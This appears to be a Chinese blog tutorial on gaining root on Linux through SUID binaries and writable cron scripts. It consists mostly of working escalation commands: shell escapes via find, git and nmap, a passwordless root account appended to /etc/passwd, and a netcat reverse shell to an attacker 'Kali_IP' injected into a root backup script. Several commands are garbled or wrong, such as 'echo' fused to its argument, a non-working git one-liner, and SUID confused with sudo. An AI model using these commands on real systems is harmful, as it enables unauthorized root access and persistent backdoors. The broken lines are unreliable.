Linux提权姿势:从SUID文件到Root权限的获取指南
什么是SUID?
SUID(Set owner User ID)是一种特殊的文件权限。当用户执行具有SUID权限的程序时,该程序会以文件所有者的权限运行,而不是执行者的权限。如果这个文件的所有者是root,那么普通用户执行该程序时,就能临时获得root权限。
首先,我们可以通过以下命令查找系统中所有设置了SUID权限的文件:
find / -perm -u=s 2>/dev/null
这条命令会列出系统中所有带有SUID位的文件,这些文件可能就是我们的提权入口。
常见SUID文件的提权方法
1. Python/Python3
当Python文件带有SUID权限时,我们可以修改文件内容来获取root shell:
import os;os.system('/bin/bash')
将这段代码写入Python文件后执行,就能获得一个root权限的shell。
2. Find命令
find命令如果带有SUID权限,可以利用其执行命令的特性:
touch /tmp/abc
cd /tmp
find abc -exec /bin/sh \;
3. Git提权(多种姿势)
Git如果以root权限设置了SUID,有几种常见的提权方式:
方法1:Git help提权
sudo git help status
# 在less界面中输入
!/bin/bash
方法2:Git pager提权
sudo git -p status
# 在pager界面中输入
!/bin/bash
方法3:Git config提权
sudo git config --global core.pager '/bin/bash'
git status
方法4:一行命令直接提权
sudo git help -a | !/bin/bash
4. Teehee工具
teehee是一个简单的文本工具,可以用来修改系统文件。利用它可以向/etc/passwd添加root权限账号:
# 添加无密码的root账号
echo"newroot::0:0:::/bin/bash" | sudo teehee -a /etc/passwd
# 如果系统不允许空密码,可以先生成密码hash
openssl passwd -1 -salt newroot password123
# 然后使用生成的hash
echo"newroot:$1$newroot$xxxxxx:0:0:::/bin/bash" | sudo teehee -a /etc/passwd
5. Nmap提权
当Nmap带有SUID权限时,可以通过创建Lua脚本获取root权限:
# 创建提权脚本
echo"os.execute('/bin/bash')" > /tmp/root.nse
# 执行脚本
sudo nmap --script=/tmp/root.nse
6. 定时任务提权
有时虽然某个文件本身没有SUID权限,但它被root用户的定时任务所调用。这种情况下,如果我们能修改该文件的内容,就能在定时任务执行时获取root权限:
# 在WebShell或其他低权限shell中执行
echo"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 你的Kali_IP 6666 >/tmp/f" >> /opt/scripts/backups.sh
这条命令会在backups.sh末尾添加反弹shell的代码,当root执行这个脚本时,就会向你的Kali机器反弹一个root权限的shell。
防御建议
对于系统管理员来说,防范SUID提权需要注意以下几点:
- 定期审计SUID文件:使用
find / -perm -u=s -type f 2>/dev/null定期检查 - 监控异常进程:关注非root用户执行的root权限进程
写在最后
本文介绍的提权方法仅用于合法的安全测试和学习目的。在实际的渗透测试中,获取SUID权限文件只是第一步,如何巧妙利用这些文件获取root权限,需要我们对系统有深入的了解。
后续我还会写一篇关于内核提权的文章,深入探讨更多高级的提权技术。如果你对这个话题感兴趣,欢迎持续关注!